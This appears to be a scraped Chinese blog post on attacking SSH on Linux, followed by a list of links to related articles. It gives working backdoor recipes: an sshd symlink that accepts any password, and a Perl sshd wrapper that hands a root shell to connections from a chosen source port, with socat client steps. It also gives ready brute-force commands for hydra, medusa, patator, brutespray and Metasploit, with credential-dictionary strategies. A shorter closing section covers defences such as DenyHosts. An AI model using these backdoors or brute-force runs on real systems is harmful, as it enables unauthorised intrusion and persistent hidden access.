2.思路

(1)对root账号进行暴力破解

(2)使用中国姓名top1000作为用户名进行暴力破解

(3)使用top 10000 password字典进行密码破解

(4)利用掌握信息进行社工信息整理并生成字典暴力破解

(5)信息的综合利用以及循环利用

ssh后门

1. 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

2.SSH Server wrapper后门

(1)复制sshd到bin目录

cd /usr/sbin

mv sshd ../bin

(2)编辑sshd

vi sshd //加入以下内容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改权限

chmod 755 sshd

(5)使用socat

socat STDIOTCP4:target_ip:22,sourceport=19526

如果没有安装socat需要进行安装并编译

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

ssh暴力破解命令总结及分析

1.所有工具的比较

通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

(1)每款软件都能成功对ssh账号以及密码进行破解。

(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C语言编写的,需要进行编译。

(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。

2.命令总结

(1)hydra破解ssh密码

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

hydra -lroot  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh

(2)medusa破解ssh密码

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密码

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

如果不是本地安装,则使用patator执行即可。

(4)brutespray暴力破解ssh密码

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密码

use auxiliary/scanner/ssh/ssh_login

set rhosts192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

九、 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

3.使用DenyHosts软件来设置,其下载地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)安装cdDenyHosts

# tar-zxvf DenyHosts-2.6.tar.gz

# cdDenyHosts-2.6

# pythonsetup.py install

默认是安装到/usr/share/denyhosts目录的。

(2)配置cdDenyHosts

# cd/usr/share/denyhosts/

# cpdenyhosts.cfg-dist denyhosts.cfg

# videnyhosts.cfg

PURGE_DENY= 50m #过多久后清除已阻止IP

HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny

BLOCK_SERVICE= sshd #阻止服务名

DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数

DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数

WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹

LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

HOSTNAME_LOOKUP=NO#是否做域名反解

ADMIN_EMAIL= #设置管理员邮件地址

DAEMON_LOG= /var/log/denyhosts #自己的日志文件

DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

(3)设置启动脚本

# cpdaemon-control-dist daemon-control

# chownroot daemon-control

# chmod700 daemon-control

完了之后执行daemon-contronstart就可以了。

#./daemon-control start

如果要使DenyHosts每次重起后自动启动还需做如下设置:

# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

#chkconfig --add denyhosts

#chkconfig denyhosts on

#service denyhosts start

可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。

关于linux中SSH爆破总结的更多相关文章

  1. linux中ssh登录Permanently added (RSA) to the list of known hosts问题解决

    文章出自http://www.2cto.com/os/201307/227199.html linux中ssh登录Permanently added (RSA) to the list of know ...

  2. (转)详解Linux中SSH远程访问控制

    详解Linux中SSH远程访问控制 原文:http://blog.51cto.com/dengqi/1260038 SSH:是一种安全通道协议,主要用来实现字符界面的远程登录,远程复制等功能(使用TC ...

  3. Linux中SSH服务基于key认证实践

    众所周知ssh是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,它默认工作在tcp的22号端口,具体实现的软件有:openssh(centos默认安装的),dropbear.ssh协议目前 ...

  4. linux中ssh可以登录sftp不能登录解决办法

    我的服务器一直正常使用,平时使用secureCRT进行管理,使用secureFX进行文件的上传下载,突然有一天secureFX连接的时候出问题了,secureFX的日志如下: i SecureFX 版 ...

  5. Linux中ssh的免密码登陆

    原理: Hadoop的各个节点要实时的进行各种通信的,ssh就是能让各个节点免密码的相互访问相互通信. 操作步骤: 这里用的加密方式是非对称的加密方式,具体的操作是: <1>执行命令ssh ...

  6. Linux中ssh介绍与ssh+key密钥登陆部署

    环境内核信息: [root@zabbix- ~]# uname -a Linux zabbix- -.el6.x86_64 # SMP Tue Mar :: UTC x86_64 x86_64 x86 ...

  7. Linux中ssh登陆慢的两种原因

    useDNS配置导致登陆慢 如果ssh server的配置文件(通常是 /etc/ssh/sshd_config )中设置 useDNS yes ,可能会导致 ssh 登陆卡住几十秒.将该配置项设为 ...

  8. 解决linux中ssh登录Warning:Permanently added (RSA) to the list of known hosts

    原因: 在执行scp id_rsa.pub root@hostname:/root/.ssh这一步时,没在本机的/root/.ssh下生成known_hosts文件. 解决方案: vi /etc/ss ...

  9. Linux中ssh及scp的连接

    1. 当你想获取另外一台电脑上的数据时,可以使用这个命令 scp -P 10022 root@172.30.83.173:~/ubuntu1.tar ./ -r   代表传输文件夹,直接传文件可以不加 ...

随机推荐

  1. [No0000CC]眼袋和黑眼圈的应对方法——疏筋穴

    眼袋和黑眼圈不是自然衰老的必然产物.<黄帝内经>上说:"肝主筋."筋就是人身体上的韧带.肌腱部分.很多病症,说不清原因,但都可以遵循一个原则,那就是从筋论治. 1.常按 ...

  2. 若父设置了overflow: hidden;子如何不受影响

    若父设置了overflow: hidden;子如何不受影响 1.如图: 2.只需要给一个position: absolute;定位 3.相当于重新给页面进行定位,右侧便会有滚动条出现. 4.overf ...

  3. JS弹出对话框的三种方式

    JS弹出对话框的三种方式 我们用到了alert()方法.prompt()方法.prompt()方法,都是在网页有一个弹出框,那么就让我们探究一下他们之间的区别: 一.第一种:alert()方法 < ...

  4. 【鬼畜】UVA - 401每日一题·猛男就是要暴力打表

    管他什么rev数组,msg数组简化代码 #define _CRT_SECURE_NO_WARNINGS #include <cmath> #include <iostream> ...

  5. splash 安装

    搞定NVIDIA显卡后,开始弄splash 根据 https://github.com/paperManu/splash 提示 最简安装就是用apt sudo apt install flatpak ...

  6. block diagonal matrix 直和 块对角矩阵 不完美 有缺陷 缩放 射影几何

    小结: 1.block diagonal matrix  直和 块对角矩阵 A block diagonal matrix is a block matrix that is a square mat ...

  7. 自己写的JdbcUtils小工具-----得到Connection对象

    Properties文件中存放键值对------(可看对Properties文件的解析) static代码块是在构造函数之前执行的,而且只执行一次,即类首次加载时. 也就是只加载一次配置文件和加载数据 ...

  8. linux 循环读取文件的每一行

    在Linux中有很多方法逐行读取一个文件的方法,其中最常用的就是下面的脚本里的方法,而且是效率最高,使用最多的方法.为了给大家一个直观的感受,我们将通过生成一个大的文件的方式来检验各种方法的执行效率. ...

  9. 域PC脱域

    SID是什么意思SID 只是安全标识符的缩写而已.SID 的全称是“安全标识符(Security Identify)”,是为域或本地计算机中创建的每个帐户分配的唯一 ID 字符串(例如,S-1-5-2 ...

  10. rar压缩类

    using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; namespa ...